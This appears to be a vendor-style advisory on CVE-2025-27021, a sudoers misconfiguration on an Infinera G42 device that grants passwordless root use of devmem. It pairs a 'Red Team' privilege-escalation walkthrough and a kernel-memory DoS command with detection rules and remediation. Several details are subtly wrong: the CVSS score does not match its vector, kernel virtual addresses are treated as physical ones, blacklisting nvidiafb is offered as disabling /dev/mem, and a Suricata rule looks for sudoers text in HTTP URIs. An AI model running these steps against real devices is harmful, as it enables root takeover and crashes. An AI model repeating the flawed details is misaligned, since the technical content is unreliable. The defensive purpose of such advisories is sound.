CVE-2025-27021

Executive Summary

CVE-2025-27021 is a critical privilege escalation vulnerability affecting the Infinera G42 network device running operating system version R6.1.3. The vulnerability stems from a misconfiguration in the sudoers file, which allows any low-privileged OS user to execute the devmem command as root without a password. The devmem tool provides direct read/write access to physical memory, enabling an attacker to read sensitive kernel data, corrupt memory to cause a denial of service, or overwrite kernel structures to escalate privileges to root. The vulnerability has a CVSS score of 7.0 (High) and is currently unpatched. No public exploit code or Nuclei templates are available, but the attack vector is straightforward and requires only local shell access.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.0 (High)
• Attack Vector: Local (AV:L) – requires shell access to the device.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: Low (PR:L) – any non-root user.
• User Interaction: None (UI:N) – no victim action required.
• Scope: Unchanged (S:U) – the vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – full read access to kernel memory.
• Integrity Impact: High (I:H) – full write access to kernel memory.
• Availability Impact: High (A:H) – can corrupt memory and crash the system.

Threat Level: High. The vulnerability is trivial to exploit once local access is obtained, and it provides complete control over the device.

Deep Dive & Mechanics

The vulnerability is rooted in the sudoers configuration file (/etc/sudoers or a file in /etc/sudoers.d/). The configuration grants the devmem command to all users (or a specific group) with NOPASSWD privilege. The devmem utility is a standard Linux tool (often part of BusyBox or a custom implementation) that allows reading and writing to physical memory addresses via /dev/mem.

Attack Flow:

1. An attacker gains low-privileged shell access to the Infinera G42 device (e.g., via SSH, a web shell, or another vulnerability).
2. The attacker runs sudo -l and sees that devmem is available without a password.
3. The attacker uses devmem to read sensitive kernel structures (e.g., process credentials, cryptographic keys) or to overwrite kernel memory to escalate privileges.
4. For privilege escalation, the attacker can modify the cred structure of a running process to change its UID to 0 (root), or modify the comm field to execute arbitrary code in kernel context.

Technical Details:

• The devmem command typically takes an address and optionally a value. Example: sudo devmem 0xXXXXXXXX reads a 32-bit word from physical address 0xXXXXXXXX. sudo devmem 0xXXXXXXXX 0xYYYYYYYY writes 0xYYYYYYYY to that address.
• Physical memory addresses can be obtained from /proc/iomem or by scanning known kernel symbol offsets.
• The vulnerability does not require any kernel exploit; it abuses legitimate system administration tools.

Vulnerable vs. Patched Code

Vulnerable Configuration (Infinera G42 R6.1.3): The sudoers file contains an entry similar to:

# /etc/sudoers.d/devmem
ALL ALL=(ALL) NOPASSWD: /usr/bin/devmem

This allows any user to run devmem as root without a password.

Patched Configuration (Hypothetical): A patched configuration would either:

• Remove the devmem entry from sudoers entirely.
• Restrict it to a specific admin group with password requirement:

%admin ALL=(ALL) PASSWD: /usr/bin/devmem

• Or remove the devmem binary if not needed.

Since no official patch is available, the recommended mitigation is to manually edit the sudoers file.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local shell access on Infinera G42 R6.1.3 as a low-privileged user.
• Knowledge of kernel memory layout (can be obtained via /proc/kallsyms or by reading kernel documentation).

Step-by-Step Exploit:

1. Verify sudo privilege:

   sudo -l
   

   Expected output includes: (ALL) NOPASSWD: /usr/bin/devmem

2. Read kernel memory to find a target process:

   # Find PID of a process to escalate (e.g., a shell)
   echo $$
   # Output: 1234
   

3. Locate the cred structure in kernel memory: This requires knowing the offset of cred in the task struct. For a typical Linux kernel, the offset can be found via:

   sudo devmem $(grep task_struct /proc/kallsyms | awk '{print $1}') | xxd
   

   (This is simplified; actual exploitation requires precise offset calculation.)

4. Overwrite the UID field:

   # Write 0 to the UID field of the current process's cred
   sudo devmem <address_of_cred_uid> 0x00000000
   

5. Verify escalation:

   id
   # Output: uid=0(root) gid=0(root) groups=0(root)
   

Alternative DoS Attack:

# Write garbage to a critical kernel structure
sudo devmem <address_of_idle_task> 0xDEADBEEF
# System will likely panic or become unstable

Blue Team (Detection & Hardening)

Detection:

• Monitor for execution of devmem via auditd or syslog:

  auditctl -w /usr/bin/devmem -p x -k devmem_usage
  

• Alert on any sudo usage of devmem by non-admin users.

Hardening:

• Immediately remove the NOPASSWD entry for devmem:

  sudo visudo -f /etc/sudoers.d/devmem
  # Comment out or remove the line
  

• Restrict physical memory access by disabling /dev/mem:

  echo 'blacklist nvidiafb' >> /etc/modprobe.d/blacklist.conf
  # Or set CONFIG_STRICT_DEVMEM=y in kernel config
  

• Implement mandatory access controls (SELinux/AppArmor) to restrict devmem.

Indicators of Compromise (IOCs)

• Command Execution: sudo devmem with arguments containing hexadecimal addresses.
• Audit Logs: type=SYSCALL msg=audit(...): arch=... syscall=... success=yes exit=... a0=... a1=... items=... ppid=... pid=... auid=... uid=... gid=... euid=... suid=... fsuid=... egid=... sgid=... fsgid=... tty=... ses=... comm="devmem" exe="/usr/bin/devmem" key="devmem_usage"
• Kernel Panic Logs: Unexpected system crashes or BUG: unable to handle kernel paging request messages.
• Process Anomalies: Processes running with UID 0 that were previously non-root.
• File Changes: Modification of /etc/sudoers or /etc/sudoers.d/ files.

Detection Engineering

YARA Rule

rule CVE_2025_27021_Devmem_Sudoers {
    meta:
        description = "Detects sudoers configuration allowing devmem without password"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27021"
    strings:
        $s1 = "devmem" ascii wide nocase
        $s2 = "NOPASSWD" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Sudoers Misconfiguration for devmem
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects sudoers entries that allow devmem execution without password
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27021
author: Valters IT
date: 2025/04/10
logsource:
    product: linux
    service: sudo
detection:
    selection:
        CommandLine|contains: 'devmem'
        SudoOptions|contains: 'NOPASSWD'
    condition: selection
falsepositives:
    - Legitimate administrative use (should be rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27021 - devmem sudoers misconfiguration detected"; flow:to_server,established; content:"devmem"; http_uri; content:"NOPASSWD"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove NOPASSWD privilege for devmem:

   sudo visudo -f /etc/sudoers.d/devmem
   # Comment out or delete the line containing devmem
   

2. Restrict physical memory access:
   • Set CONFIG_STRICT_DEVMEM=y in kernel configuration and rebuild.
   • Or use chmod 600 /dev/mem and chmod 600 /dev/kmem (if they exist).
3. Implement least privilege:
   • Remove devmem from sudoers entirely if not needed.
   • If required, restrict to specific admin group with password.

Long-Term Fixes:

• Apply vendor patch when available (currently UNKNOWN).
• Upgrade to a patched firmware version.
• Implement host-based intrusion detection (HIDS) to monitor for devmem usage.

Workaround:

• Disable the devmem binary:

  sudo chmod 000 /usr/bin/devmem
  

Valters IT